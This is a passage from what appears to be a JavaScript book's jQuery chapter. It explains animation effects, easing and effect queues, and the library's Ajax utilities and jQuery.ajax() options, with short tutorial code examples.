`show()`, `hide()`, `toggle()`

The `fadeOut()` method listed above makes elements invisible but retains space for them in the document layout. The `hide()` method, by contrast, removes the elements from the layout as if the CSS `display` property was set to `none`. When invoked with no arguments, `hide()` and `show()` simply hide or show the selected elements immediately. With a duration (or options object) argument, however, they animate the hiding or showing process. `hide()` shrinks an element's `width` and `height` to 0 at the same time that it reduces the element's `opacity` to 0. `show()` reverses the process.

`toggle()` changes the visibility state of the elements it is invoked on: if they are hidden, it calls `show()`, and if they are visible, it calls `hide()`. As with `show()` and `hide()`, you must pass a duration or options object to `toggle()` to get an animated effect. Passing `true` to `toggle()` is the same as calling `show()` with no arguments and passing `false` is the same as calling `hide()` with no arguments. Note also that if you pass two or more function arguments to `toggle()` it registers event handlers, as described in §19.4.1.

`slideDown()`, `slideUp()`, `slideToggle()`

`slideUp()` hides the elements in the jQuery object by animating their height to 0 and then setting the CSS `display` property to "none". `slideDown()` reverses the process to make a hidden element visible again. `slideToggle()` toggles the visibility of an item using a slide up or slide down animation. Each of the three methods accepts the optional duration and callback arguments (or the options object argument).

Here is an example that invokes methods from each of these groups. Keep in mind that jQuery's animations are queued by default, so these animations are performed one after the other:

```
// Fade all images out, then show them, then slide up, then slide down
$("img").fadeOut().show(300).slideUp().slideToggle();
```

Various jQuery plug-ins (see §19.9) add additional effect methods to the library. The jQuery UI library (§19.10) includes a particularly comprehensive set of effects.

19.5.2 Custom Animations

You can use the `animate()` method to produce more general animated effects than are available with the simple effects methods. The first argument to `animate()` specifies what to animate and the remaining arguments specify how to animate it. The first argument is required: it must be an object whose properties specify CSS attributes and their target values. `animate()` animates the CSS properties of each element from its current value to the specified target value. So, for example, the `slideUp()` effect described above can also be performed with code like this:

```
// Shrink the height of all images to 0
$("img").animate({ height: 0 });
```

As an optional second argument, you can pass an options object to `animate()`:

```
$("#sprite").animate({
    opacity: .25,                // Animate opacity to .25
    font-size: 10                // Animate font size to 10 pixels
}, {
    duration: 500,               // Animation lasts 1/2 second
    complete: function() {       // Call this function when done
        this.text("Goodbye");    // Change element text.
    }
});
```

Instead of passing an options object as the second argument, `animate()` also allows you to specify three of the most commonly used options as arguments. You can pass the duration (as a number or string) as the second argument. You can specify the name of an easing function as the third argument. (Easing functions will be explained shortly.) And you can specify a callback function as the fourth argument.

In the most general case, `animate()` accepts two object arguments. The first specifies what to animate and the second specifies how to animate it. To fully understand how to perform animations with jQuery, there are additional details about both objects that you must be aware of.

19.5.2.1 The animation properties object

The first argument to `animate()` must be an object. The property names for this object must be CSS attribute names, and the values of those properties must be the target values toward which the animation will move. Only numeric properties can be animated: it is not possible to animate colors, fonts, or enumerated properties such as `display`. If the value of a property is a number, pixels are assumed. If the value is a string, you may specify units. If you omit the units, pixels are again assumed. To specify relative values, prefix the value string with "+=" to increase the value or with "-=" to decrease the value. For example:

```
$("p").animate({
    "margin-left": "+=.5in",  // Increase paragraph indent
    opacity: "-=.1"           // And decrease their opacity
});
```

Note the use of the quotes around the property name "margin-left" in the object literal above. The hyphen in this property name means that it is not a legal JavaScript identifier, so it must be quoted here. jQuery also allows you to use the mixed-case alternative `marginLeft`, of course.

In addition to numeric values (with optional units and "+=" and "-=" prefixes), there are three other values that can be used in jQuery animation objects. The value "hide" will save the current state of the property and then animate that property toward 0. The value "show" will animate a CSS property toward its saved value. If an animation uses "show", jQuery will call the `show()` method when the animation completes. And if an animation uses "hide", jQuery will call `hide()` when the animation completes.

You can also use the value "toggle" to perform either a show or a hide, depending on the current setting of the attribute. You can produce a "slideRight" effect (like the `slideUp()` method, but animating element width) like this:

```
$("img").animate({
    width: "hide",
    borderLeft: "hide",
    borderRight: "hide",
    paddingLeft: "hide",
    paddingRight: "hide"
});
```

Replace the property values with "show" or "toggle" to produce sideways slide effects analogous to `slideDown()` and `slideToggle()`.

19.5.2.2 The animation options object

The second argument to `animate()` is an optional object that holds options that specify how the animation is performed. You've already seen two of the most important options. The `duration` property specifies the length of the animation in milliseconds, or as the string "fast" or "slow", or any name you've defined in `jQuery.fx.speeds`.

Another option you've already seen is the `complete` property: it specifies a function that will be called when the animation is complete. A similar property, `step`, specifies a function that is called for each step or frame of the animation. The element being animated is the `this` value, and the current value of the property being animated is passed as the first argument.

The `queue` property of the options object specifies whether the animation should be queued—whether it should be deferred until any pending animations have completed. All animations are queued by default. Set the `queue` property to `false` to disable queuing. Unqueued animations start immediately. Subsequent queued animations are not deferred for unqueued animations. Consider the following code:

```
$("img").fadeIn(500)
        .animate({"width":"+=100"}, {queue:false, duration:1000})
        .fadeOut(500);
```

The `fadeIn()` and `fadeOut()` effects are queued, but the call to `animate()` (which animates the `width` property for 1000ms) is not queued. The width animation begins at the same time the `fadeIn()` effect begins. The `fadeOut()` effect begins as soon as the `fadeIn()` effect ends: it does not wait for the width animation to complete.

Easing Functions

The straightforward but naive way to perform animations involves a linear mapping between time and the value being animated. If we are 100ms into a 400ms animation, for example, the animation is 25 percent done. If we are animating the `opacity` property from 1.0 to 0.0 (for a `fadeOut()` call, perhaps) in a linear animation, the opacity should be at 0.75 at this point of the animation. It turns out, however, that visual effects are more pleasing if they are not linear. So jQuery interposes an "easing function" that

maps from a time-based completion percentage to the desired effect percentage. jQuery calls the easing function with a time-based value between 0 and 1. It returns another value between 0 and 1 and jQuery computes the value of the CSS property based on this computed value. Generally, easing functions are expected to return 0 when passed the value 0 and 1 when passed the value 1, of course, but they can be nonlinear between those two values and this nonlinearity makes the animation appear to accelerate and decelerate.

jQuery's default easing function is a sinusoid: it starts off slow, then speeds up, then slows down again to "ease" the animation to its final value. jQuery gives its easing functions names. The default one is named "swing", and jQuery also implements a linear function named "linear". You can add your own easing functions to the `jQuery.easing` object:

```
jQuery.easing["squareroot"] = Math.sqrt;
```

The jQuery UI library and a plug-in known simply as "the jQuery Easing Plugin" define a comprehensive set of additional easing functions.

The remaining animation options involve easing functions. The `easing` property of the options object specifies the name of an easing function. By default, jQuery uses the sinusoidal function it calls "swing". If you want your animations to be linear, use an options object like this:

```
$("img").animate({"width":"+=100"}, {duration: 500, easing:"linear"});
```

Recall that the `duration`, `easing`, and `complete` options can also be specified by arguments to `animate()` instead of passing an options object. So the animation above could also be written like this:

```
$("img").animate({"width":"+=100"}, 500, "linear");
```

Finally, jQuery's animation framework even allows you to specify different easing functions for the different CSS properties you want to animate. There are two different ways to achieve this, demonstrated by the code below:

```
// Hide images, as with the hide() method, but animate the image size linearly
// while the opacity is being animated with the default "swing" easing function

// One way to do it:
// Use the specialEasing option to specify custom easing functions
$("img").animate({ width:"hide", height:"hide", opacity:"hide" },
                 { specialEasing: {  width: "linear", height: "linear" }});

// Another way to do it:
// Pass [target value, easing function] arrays in the first object argument.
$("img").animate({
    width: ["hide", "linear"], height: ["hide", "linear"], opacity:"hide"
});
```

19.5.3 Canceling, Delaying, and Queuing Effects

jQuery defines a few more animation and queue-related methods that you should know about. The `stop()` method is first: it stops any currently executing animations on the selected elements. `stop()` accepts two optional boolean arguments. If the first argument is `true`, the animation queue will be cleared for the selected elements: this will cancel any pending animations as well as stopping the current one. The default is `false`: if this argument is omitted, queued animations are not canceled. The second argument specifies whether the CSS properties being animated should be left as they are currently or whether they should be set to their final target values. Passing `true` sets them to their final values. Passing false (or omitting the argument) leaves them at whatever their current value is.

When animations are triggered by user events, you may want to cancel any current or queued animations before beginning a new one. For example:

```
// Images become opaque when the mouse moves over them.
// Be careful that we don't keep queueing up animations on mouse events!
$("img").bind({
    mouseover: function() { $(this).stop().fadeTo(300, 1.0); },
    mouseout: function() { $(this).stop().fadeTo(300, 0.5); }
});
```

The second animation-related method we'll cover here is `delay()`. This simply adds a timed delay to the animation queue: pass a duration in milliseconds (or a duration string) as the first argument and a queue name as the optional second argument (the second argument is not normally needed: we'll talk about queue names below). You can use `delay()` in compound animations like this one:

```
// Quickly fade out halfway, wait, then slide up
$("img").fadeTo(100, 0.5).delay(200).slideUp();
```

In the `stop()` method example above, we used mouseover and mouseout events to animate the opacity of images. We can refine that example by adding a short delay before beginning the animation. That way, if the mouse quickly moves through an image without stopping, no distracting animation occurs:

```
$("img").bind({
    mouseover: function() { $(this).stop(true).delay(100).fadeTo(300, 1.0); },
    mouseout: function() { $(this).stop(true).fadeTo(300, 0.5); }
});
```

The final animation-related methods are ones that give low-level access to the jQuery queuing mechanism. jQuery queues are lists of functions to be executed in sequence. Each queue is associated with a document element (or the Document or Window objects) and each element's queues are independent of the queues of other elements. You can add a new function to the queue with the `queue()` method. When your function reaches the head of the queue, it will be automatically dequeued and invoked. When your function is invoked, the `this` value is the element with which it is associated. Your function will be passed a function as its single argument. When your function has completed its operation, it must invoke the function that was passed to it. This runs

the next operation in the queue, and if you don't call the function, the queue will stall and queued functions will never get invoked.

We've seen that you can pass a callback function to jQuery's effect methods in order to perform some kind of action after the effect completes. You can achieve the same effect by queuing up your function:

```
// Fade an element in, wait, set some text in it, and animate its border
$("#message").fadeIn().delay(200).queue(function(next) {
    $(this).text("Hello  World");      // Display some text
    next();                            // Run the next item on the queue
}).animate({borderWidth: "+=10px;"});  // Grow its border
```

The function argument to queued functions is a new feature in jQuery 1.4. In code written for earlier versions of the library, queued functions dequeue the next function "manually" by calling the `dequeue()` method:

```
$(this).dequeue();  // Instead of next()
```

If there is nothing in the queue, calling `dequeue()` does nothing. Otherwise, it removes a function from the head of the queue and invokes it, setting the `this` value and passing the function described above.

There are a few more heavy-handed ways to manipulate the queue as well. `clearQueue()` clears the queue. Passing an array of functions to `queue()` instead of a single function replaces the queue with the new array of functions. And calling `queue()` with neither a function nor an array of functions returns the current queue as an array. Also, jQuery defines versions of the `queue()` and `dequeue()` methods as utility functions. If you want to add the function `f` to the queue for an element `e`, you can use either the method or the function:

```
$(e).queue(f);      // Create a jQuery object holding e, and call queue method
jQuery.queue(e,f);  // Just call the jQuery.queue() utility function
```

Finally, note that `queue()`, `dequeue()`, and `clearQueue()` all take an optional queue name as their first argument. jQuery's effects and animation methods use a queue named "fx", and this is the queue that is used if you do not specify a queue name. jQuery's queue mechanism is useful whenever you need to perform asynchronous operations sequentially: instead of passing a callback function to each asynchronous operation so that it can trigger the next function in the sequence, you can use a queue to manage the sequence instead. Simply pass a queue name other than "fx", and remember that queued functions do not execute automatically. You must explicitly call `dequeue()` to run the first one, and each operation must dequeue the next one when it finishes.

19.6 Ajax with jQuery

Ajax is the popular name for web application programming techniques that use HTTP scripting (see Chapter 18) to load data as needed, without causing page refreshes. Because Ajax techniques are so useful in modern web apps, jQuery includes Ajax utilities to simplify them. jQuery defines one high-level utility method and four high-level utility

functions. These high-level utilities are all based on a single powerful low-level function, `jQuery.ajax()`. The subsections that follow describe the high-level utilities first, and then cover the `jQuery.ajax()` function in detail. In order to fully understand the operation of the high-level utilities, you'll need to understand `jQuery.ajax()`, even if you never need to use it explicitly.

19.6.1 The load() Method

The `load()` method is the simplest of all jQuery utilities: pass it a URL and it will asynchronously load the content of that URL and then insert that content into each of the selected elements, replacing any content that is already there. For example:

```
// Load and display the latest status report every 60 seconds
setInterval(function() { $("#stats").load("status_report.html"); }, 60000);
```

We also saw the `load()` method in §19.4.1, where it was used to register a handler for load events. If the first argument to this method is a function instead of a string, it behaves as an event handler registration method instead of as an Ajax method.

If you only want to display a portion of the loaded document, add a space to the URL and follow it with a jQuery selector. When the URL has loaded, the selector you specified will be used to select the portions of the loaded HTML to be displayed:

```
// Load and display the temperature section of the weather report
$('#temp').load("weather_report.html #temperature");
```

Note that the selector at the end of this URL looks very much like a fragment identifier (the `hash` portion of the URL described in §14.2). The space is required, however, if you want jQuery to insert only the selected portion (or portions) of the loaded document.

The `load()` method accepts two optional arguments in addition to the required URL. The first is data to append to the URL or to send along with the request. If you pass a string, it is appended to the URL (after a `?` or `&` as needed). If you pass an object, it is converted to a string of ampersand-separated name=value pairs and sent along with the request. (The details of object-to-string conversion for Ajax are in the sidebar of §19.6.2.2). The `load()` method normally makes an HTTP GET request, but if you pass a data object, it makes a POST request instead. Here are two examples:

```
// Load the weather report for a specified zipcode
$('#temp').load("us_weather_report.html", "zipcode=02134");

// Here we use an object as data instead and specify degrees Fahrenheit
$('#temp').load("us_weather_report.html", { zipcode:02134, units:'F' });
```

Another optional argument to `load()` is a callback function that will be invoked when the Ajax request completes successfully or unsuccessfully and (in the case of success) after the URL has been loaded and inserted into the selected elements. If you don't specify any data, you can pass this callback function as the second argument. Otherwise, it should be the third argument. The callback you specify will be invoked once as a method of each of the elements in the jQuery object and will be passed three

Download from Wow! eBook <www.wowebook.com>

arguments to each invocation: the complete text of the loaded URL, a status code string, and the XMLHttpRequest object that was used to load the URL. The status argument is a jQuery status code, not an HTTP status code, and it will be a string like "success", "error", or "timeout".

jQuery's Ajax Status Codes

All of jQuery's Ajax utilities, including the `load()` method, invoke callback functions to provide asynchronous notification of the success or failure of the request. The second argument to these callbacks is a string with one of the following values:

"success"
: Indicates that the request completed successfully.

"notmodified"
: This code indicates that the request completed normally but that the server sent an HTTP 304 "Not Modified" response, indicating that the requested URL has not changed since it was last requested. This status code only occurs if you set the `ifModified` option to true. (See §19.6.3.1.) jQuery 1.4 considers a "notmodified" status code a success, but earlier versions consider it an error.

"error"
: Indicates that the request did not complete successfully, because of an HTTP error of some sort. For more details, you can check the HTTP status code in the XMLHttpRequest object, which is also passed to each callback.

"timeout"
: If an Ajax request does not complete within the timeout interval that you select, the error callback is invoked with this status code. By default, jQuery Ajax requests do not time out; you'll only see this status code if you set the `timeout` option (§19.6.3.1).

"parsererror"
: This status code indicates that the HTTP request completed successfully, but that jQuery could not parse it in the way it expected to. This status code occurs if the server sends a malformed XML document or malformed JSON text, for example. Note that this status code is "parsererror", not "parseerror".

19.6.2 Ajax Utility Functions

The other high-level jQuery Ajax utilities are functions, not methods, and are invoked directly through `jQuery` or `$`, not on a jQuery object. `jQuery.getScript()` loads and executes files of JavaScript code. `jQuery.getJSON()` loads a URL, parses it as JSON, and passes the resulting object to the callback you specify. Both of these functions call `jQuery.get()`, which is a more general-purpose URL fetching function. Finally, `jQuery.post()` works just like `jQuery.get()`, but it performs an HTTP POST request instead of a GET. Like the `load()` method, all of these functions are asynchronous: they return to their caller before anything is loaded and notify you of the results by invoking a callback function you specify.

19.6.2.1 jQuery.getScript()

The `jQuery.getScript()` function takes the URL of a file of JavaScript code as its first argument. It asynchronously loads and then executes that code in the global scope. It can work for both same-origin and cross-origin scripts:

```
// Dynamically load a script from some other server
jQuery.getScript("http://example.com/js/widget.js");
```

You can pass a callback function as the second argument, and if you do, jQuery will invoke that function once after the code has been loaded and executed.

```
// Load a library and use it once it loads
jQuery.getScript("js/jquery.my_plugin.js", function() {
    $('div').my_plugin();  // Use the library we loaded
});
```

`jQuery.getScript()` normally uses an XMLHttpRequest object to fetch the text of the script to be executed. But for cross-domain requests (when the script is served by a server other than the one that served the current document), jQuery loads the script with a `<script>` element (see §18.2). In the same-origin case, the first argument to your callback is the text of the script, the second argument is the status code "success", and the third argument is the XMLHttpRequest object used to fetch the text of the script. The return value of `jQuery.getScript()` is also the XMLHttpRequest object in this case. For cross-origin requests, there is no XMLHttpRequest object, and the text of the script is not captured. In this case, the callback function is called with its first and third arguments `undefined`, and the return value of `jQuery.getScript()` is also `undefined`.

The callback function you pass to `jQuery.getScript()` is invoked only if the request completes successfully. If you need to be notified of errors as well as success, you'll need to use the lower-level `jQuery.ajax()` function. The same is true of the three other utility functions described in this section.

19.6.2.2 jQuery.getJSON()

`jQuery.getJSON()` is like `jQuery.getScript()`: it fetches text and then processes it specially before invoking the callback you specify. Instead of executing the text as a script, `jQuery.getJSON()` parses it as JSON (using the `jQuery.parseJSON()` function: see §19.7). `jQuery.getJSON()` is only useful when passed a callback argument. If the URL is loaded successfully and if its content is successfully parsed as JSON, the resulting object will be passed as the first argument to the callback function. As with `jQuery.getScript()`, the second and third arguments to the callback are the status code "success" and the XMLHttpRequest object:

```
// Suppose data.json contains the text: '{"x":1,"y":2}'
jQuery.getJSON("data.json", function(data) {
    // Now data is the object {x:1, y:2}
});
```

Unlike `jQuery.getScript()`, `jQuery.getJSON()` accepts an optional data argument like the one passed to the `load()` method. If you pass data to `jQuery.getJSON()`, it must be

the second argument and the callback must be the third. If you do not pass any data, the callback may be the second argument. If the data is a string, it is appended to the URL, following a `?` or `&`. If the data is an object, it is converted to a string (see the sidebar) and then appended to the URL.

Passing Data to jQuery's Ajax Utilities

Most of jQuery's Ajax methods accept an argument (or an option) that specifies data to send to the server along with the URL. Usually this data takes the form of URL-encoded `name=value` pairs separated from each other by ampersands. (This data format is known by the MIME type "application/x-www-form-urlencoded". You can think of it as an analog of JSON: a format for converting simple JavaScript objects to and from strings.) For HTTP GET requests, this string of data is appended to the request URL. For POST requests, it is sent as the request body, after all the HTTP headers are sent.

One way to obtain a string of data in this format is to call the `serialize()` method of a jQuery object that contains forms or form elements. To submit an HTML form using the `load()` method, for example, you might use code like this:

```
$("#submit_button").click(function(event) {
    $(this.form).load(              // Replace the form by loading...
        this.form.action,           // the form url
        $(this.form).serialize());  // with the form data appended to it
    event.preventDefault();         // Don't do the default form submission
    this.disabled = "disabled";     // Prevent multiple submissions
});
```

If you set the data argument (or option) of a jQuery Ajax function to an object rather than a string, jQuery will normally (with an exception described below) convert that object to a string for you by calling `jQuery.param()`. This utility function treats object properties as name=value pairs and converts the object `{x:1,y:"hello"}`, for example, to the string `"x=1&y=hello"`.

In jQuery 1.4, `jQuery.param()` handles more complicated JavaScript objects. If the value of an object property is an array, each element of that array will have its own name/value pair in the resulting string and the property name will have square brackets appended. And if the value of a property is an object, the property names of that nested object are placed in square brackets and appended to the outer property name. For example:

```
$.param({a:[1,2,3]})       // Returns "a[]=1&a[]=2&a[]=3"
$.param({o:{x:1,y:true}})  // Returns "o[x]=1&o[y]=true"
$.param({o:{x:{y:[1,2]}}}) // Returns "o[x][y][]=1&o[x][y][]=2"
```

For backward compatibility with jQuery 1.3 and before, you can pass `true` as the second argument to `jQuery.param()` or set the `traditional` option to `true`. This will prevent the advanced serialization of properties whose values are arrays or objects.

Occasionally, you may want to pass a Document (or some other object that should not be automatically converted) as the body of a POST request. In this case you can set the `contentType` option to specify the type of your data and set the `processData` option to `false`, to prevent jQuery from passing your data object to `jQuery.param()`.

If either the URL or data string passed to `jQuery.getJSON()` contains the string "=?" at the end of the string or before an ampersand, it is taken to specify a JSONP request. (See §18.2 for an explanation of JSONP.) jQuery will replace the question mark with the name of a callback function it creates, and `jQuery.getJSON()` will then behave as if a script is being requested rather than a JSON object. This does not work for static JSON data files: it only works with server-side scripts that support JSONP. Because JSONP requests are handled as scripts, however, it does mean that JSON-formatted data can be requested cross-domain.

19.6.2.3 jQuery.get() and jQuery.post()

`jQuery.get()` and `jQuery.post()` fetch the content of the specified URL, passing the specified data, if any, and pass the result to the specified callback. `jQuery.get()` does this using an HTTP GET request and `jQuery.post()` uses a POST request, but otherwise these two utility functions are the same. These two methods take the same three arguments that `jQuery.getJSON()` does: a required URL, an optional data string or object, and a technically optional but almost always used callback function. The callback function is invoked with the returned data as its first argument, the string "success" as its second, and the XMLHttpRequest (if there was one) as its third:

```
// Request text from the server and display it in an alert dialog
jQuery.get("debug.txt", alert);
```

In addition to the three arguments described above, these two methods accept a fourth optional argument (passed as the third argument if the data is omitted) that specifies the type of the data being requested. This fourth argument affects the way the data is processed before being passed to your callback. The `load()` method uses the type "html", `jQuery.getScript()` uses the type "script", and `jQuery.getJSON()` uses the type "json". `jQuery.get()` and `jQuery.post()` are more flexible than those special-purpose utilities, however, and you can specify any of these types. The legal values for this argument, as well as jQuery's behavior when you omit the argument, are explained in the sidebar.

jQuery's Ajax Data Types

You can pass any of the following six types as an argument to `jQuery.get()` or `jQuery.post()`. Additionally, as we'll see below, you can pass one of these types to `jQuery.ajax()` using the `dataType` option:

`"text"`
: Returns the server's response as plain text with no processing.

`"html"`
: This type works just like "text": the response is plain text. The `load()` method uses this type and inserts the returned text into the document itself.

`"xml"`
: The URL is assumed to refer to XML-formatted data, and jQuery uses the `responseXML` property of the XMLHttpRequest object instead of the `responseText`

property. The value passed to the callback is a Document object representing the XML document instead of a string holding the document text.

`"script"`
: The URL is assumed to reference a file of JavaScript, and the returned text is executed as a script before being passed to the callback. `jQuery.getScript()` uses this type. When the type is "script", jQuery can handle cross-domain requests using a `<script>` element instead of an XMLHttpRequest object.

`"json"`
: The URL is assumed to reference a file of JSON-formatted data. The value passed to the callback is the object obtained by parsing the URL contents with `jQuery.parseJSON()` (§19.7). `jQuery.getJSON()` uses this type. If the type is "json" and the URL or data string contains `"=?"`, the type is converted to "jsonp".

`"jsonp"`
: The URL is assumed to refer to a server-side script that supports the JSONP protocol for passing JSON-formatted data as an argument to a client-specified function. (See §18.2 for more on JSONP.) This type passes the parsed object to the callback function. Because JSONP requests can be made with `<script>` elements, this type can be used to make cross-domain requests, like the "script" type can. When you use this type, your URL or data string should typically include a parameter like `"&jsonp=?"` or `"&callback=?"`. jQuery will replace the question mark with the name of an automatically generated callback function. (But see the `jsonp` and `jsonpCallback` options in §19.6.3.3 for alternatives.)

If you do not specify one of these types when you invoke a `jQuery.get()`, `jQuery.post()`, or `jQuery.ajax()`, jQuery examines the Content-Type header of the HTTP response. If that header includes the string "xml", an XML document is passed to the callback. Otherwise, if the header includes the string "json", the data is parsed as JSON and the parsed object is passed to the callback. Otherwise, if the header includes the string "javascript", the data is executed as a script. Otherwise, the data is treated as plain text.

19.6.3 The jQuery.ajax() Function

All of jQuery's Ajax utilities end up invoking `jQuery.ajax()`—the most complicated function in the entire library. `jQuery.ajax()` accepts just a single argument: an options object whose properties specify many details about how the Ajax request is to be performed. A call to `jQuery.getScript(url,callback)`, for example, is equivalent to this `jQuery.ajax()` invocation:

```
jQuery.ajax({
    type: "GET",          // The HTTP request method.
    url: url,             // The URL of the data to fetch.
    data: null,           // Don't add any data to the URL.
    dataType: "script",   // Execute the response as a script once we get it.
    success: callback     // Call this function when done.
});
```

You can set these five fundamental options with `jQuery.get()` and `jQuery.post()`. `jQuery.ajax()` supports quite a few other options, however, if you invoke it directly. The options (including the basic five shown above) are explained in detail below.

Before we dive into the options, note that you can set defaults for any of these options by passing an options object to `jQuery.ajaxSetup()`:

```
jQuery.ajaxSetup({
    timeout: 2000, // Abort all Ajax requests after 2 seconds
    cache: false   // Defeat browser cache by adding a timestamp to the URL
});
```

After running the code above, the specified `timeout` and `cache` options will be used for all Ajax requests (including high-level ones like `jQuery.get()` and the `load()` method) that do not specify their own values for these options.

While reading about jQuery's many options and callbacks in the sections that follow, you may find it helpful to refer to the sidebars about jQuery's Ajax status code and data type strings in §19.6.1 and §19.6.2.3.

Ajax in jQuery 1.5

jQuery 1.5, which was released as this book was going to press, features a rewritten Ajax module, with several convenient new features. The most important is that `jQuery.ajax()` and all of the Ajax utility functions described earlier now return a jqXHR object. This object simulates the XMLHttpRequest API, even for requests (like those made with `$.getScript()`) that do not use an XMLHttpRequest object. Furthermore, the jqXHR object defines `success()`, `error()` methods that you can use to register callback functions to be invoked when the request succeeds or fails. So instead of passing a callback to `jQuery.get()`, for example, you might instead pass it to the `success()` method of the jqXHR object returned by that utility function:

```
jQuery.get("data.txt")
    .success(function(data) { console.log("Got", data); })
    .success(function(data) { process(data); });
```

19.6.3.1 Common Options

The most commonly used `jQuery.ajax()` options are the following:

`type`

Specifies the HTTP request method. The default is "GET". "POST" is another commonly used value. You can specify other HTTP request methods, such as "DELETE" and "PUT", but not all browsers support them. Note that this option is misleadingly named: it has nothing to do with the data type of the request or response, and "method" would be a better name.

`url`

The URL to be fetched. For GET requests, the `data` option will be appended to this URL. jQuery may add parameters to the URL for JSONP requests and when the `cache` option is `false`.

`data`

Data to be appended to the URL (for GET requests) or sent in the body of the request (for POST requests). This can be a string or an object. Objects are usually converted to strings as described in the sidebar of §19.6.2.2, but see the `processData` option for an exception.

`dataType`

Specifies the type of data expected in the response, and the way that that data should be processed by jQuery. Legal values are "text", "html", "script", "json", "jsonp", and "xml". The meanings of these values were explained in the sidebar in §19.6.2.3. This option has no default value. When left unspecified, jQuery examines the `Content-Type` header of the response to determine what to do with the returned data.

`contentType`

Specifies the HTTP `Content-Type` header for the request. The default is "application/x-www-form-urlencoded", which is the normal value used by HTML forms and most server-side scripts. If you have set `type` to "POST" and want to send plain text or an XML document as the request body, you also need to set this option.

`timeout`

A timeout, in milliseconds. If this option is set and the request has not completed within the specified timeout, the request will be aborted and the `error` callback will be called with status "timeout". The default timeout is 0, which means that requests continue until they complete and are never aborted.

`cache`

For GET requests, if this option is set to `false`, jQuery will add a `_=` parameter to the URL or replace an existing parameter with that name. The value of this parameter is set to the current time (in millisecond format). This defeats browser-based caching, since the URL will be different each time the request is made.

`ifModified`

When this option is set to `true`, jQuery records the values of the `Last-Modified` and `If-None-Match` response headers for each URL it requests and then sets those headers in any subsequent requests for the same URL. This instructs the server to send an HTTP 304 "Not Modified" response if the URL has not changed since the last time it was requested. By default, this option is unset and jQuery does not set or record these headers.

jQuery translates an HTTP 304 response to the status code "notmodified". The "notmodified" status is not considered an error, and this value is passed to the `success` callback instead of the normal "success" status code. Thus, if you set the `ifModified` option, you must check the status code in your callback—if the

status is "notmodified", the first argument (the response data) will be undefined. Note that in versions of jQuery before 1.4, a HTTP 304 code was considered an error and the "notmodified" status code was passed to the error callback instead of the success callback. See the sidebar in §19.6.1 for more on jQuery's Ajax status codes.

`global`
: This option specifies whether jQuery should trigger events that describe the progress of the Ajax request. The default is `true`; set this option to `false` to disable all Ajax-related events. (See §19.6.4 for full event details.) The name of this option is confusing: it is named "global" because jQuery normally triggers its events globally rather than on a specific object.

19.6.3.2 Callbacks

The following options specify functions to be invoked at various stages during the Ajax request. The `success` option is already familiar: it is the callback function that you pass to methods like `jQuery.getJSON()`. Note that jQuery also sends notification about the progress of an Ajax request as events (unless you have set the `global` option to `false`) .

`context`
: This option specifies the object to be used as the context—the `this` value—for invocations of the various callback functions. This option has no default value, and if left unset, callbacks are invoked on the options object that holds them. Setting the `context` option also affects the way Ajax events are triggered (see §19.6.4). If you set it, the value should be a Window, Document, or Element on which events can be triggered.

`beforeSend`
: This option specifies a callback function that will be invoked before the Ajax request is sent to the server. The first argument is the XMLHttpRequest object and the second argument is the options object for the request. The `beforeSend` callback gives programs the opportunity to set custom HTTP headers on the `XMLHttpRequest` object. If this callback function returns `false`, the Ajax request will be aborted. Note that cross-domain "script" and "jsonp" requests do not use an XMLHttpRequest object and do not trigger the `beforeSend` callback.

`success`
: This option specifies the callback function to be invoked when an Ajax request completes successfully. The first argument is the data sent by the server. The second argument is the jQuery status code, and the third argument is the XMLHttpRequest object that was used to make the request. As explained in §19.6.2.3, the type of the first argument depends on the `dataType` option or on the `Content-Type` header of the server's response. If the type is "xml", the first argument is a Document object. If the type is "json" or "jsonp", the first argument is the object that results from parsing the server's JSON-formatted response. If the type was "script", the response is the text of the loaded script (that script will already have been executed,

however, so the response can usually be ignored in this case). For other types, the response is simply the text of the requested resource.

The second argument status code is normally the string "success", but if you have set the `ifModified` option, this argument might be "notmodified" instead. In this case, the server does not send a response and the first argument is undefined. Cross-domain requests of type "script" and "jsonp" are performed with a `<script>` element instead of an XMLHttpRequest, so for those requests, the third argument will be undefined.

`error`
: This option specifies the callback function to be invoked if the Ajax request does not succeed. The first argument to this callback is the XMLHttpRequest object of the request (if it used one). The second argument is the jQuery status code. This may be "error" for an HTTP error, "timeout" for a timeout, and "parsererror" for an error that occurred while parsing the server's response. If an XML document or JSON object is not well-formed, for example, the status code will be "parsererror". In this case, the third argument to the `error` callback will be the Error object that was thrown. Note that requests with `dataType` "script" that return invalid JavaScript code do not cause errors. Any errors in the script are silently ignored, and the `success` callback is invoked instead of the `error` callback.

`complete`
: This option specifies a callback function to be invoked when the Ajax request is complete. Every Ajax request either succeeds and calls the `success` callback or fails and calls the `error` callback. jQuery invokes the `complete` callback after invoking either `success` or `error`. The first argument to the `complete` callback is the XMLHttpRequest object, and the second is the status code.

19.6.3.3 Uncommon options and hooks

The following Ajax options are not commonly used. Some specify options that you are not likely to set and others provide customization hooks for those who need to modify jQuery's default handling of Ajax requests.

`async`
: Scripted HTTP requests are asynchronous by their very nature. The XMLHttpRequest object provides an option to block until the response is received, however. Set this option to `false` if you want jQuery to block. Setting this option does not change the return value of `jQuery.ajax()`: the function always returns the XMLHttpRequest object, if it used one. For synchronous requests, you can extract the server's response and HTTP status code from the XMLHttpRequest object yourself, or you can specify a `complete` callback (as you would for an asynchronous request) if you want jQuery's parsed response and status code.

`dataFilter`
: This option specifies a function to filter or preprocess the data returned by the server. The first argument will be the raw data from the server (either as a string or

Document object for XML requests) and the second argument will be the value of the `dataType` option. If this function is specified, it must return a value, and that value will be used in place of the server's response. Note that the `dataFilter` function is invoked before JSON parsing or script execution is performed. Also note that `dataFilter` is not invoked for cross-origin "script" and "jsonp" requests.

`jsonp`
: When you set the `dataType` option to "jsonp", your `url` or `data` option usually includes a parameter like "jsonp=?". If jQuery does not find such a parameter in the URL or data, it inserts one, using this option as the parameter name. The default value of this option is "callback". Set this option if you are using JSONP with a server that expects a different parameter name and have not already encoded that parameter into your URL or data. See §18.2 for more about JSONP.

`jsonpCallback`
: For requests with `dataType` "jsonp" (or type "json" when the URL includes a JSONP parameter like "jsonp=?"), jQuery must alter the URL to replace the question mark with the name of the wrapper function that the server will pass its data to. Normally, jQuery synthesizes a unique function name based on the current time. Set this option if you want to substitute your own function for jQuery's. If you do this, however, it will prevent jQuery from invoking the `success` and `complete` callbacks and from triggering its normal events.

`processData`
: When you set the `data` option to an object (or pass an object as the second argument to `jQuery.get()` and related methods), jQuery normally converts that object to a string in the standard HTML "application/x-www-form-urlencoded" format (see the sidebar in §19.6.2.2). If you want to avoid this step (such as when you want to pass a Document object as the body of a POST request), set this option to `false`.

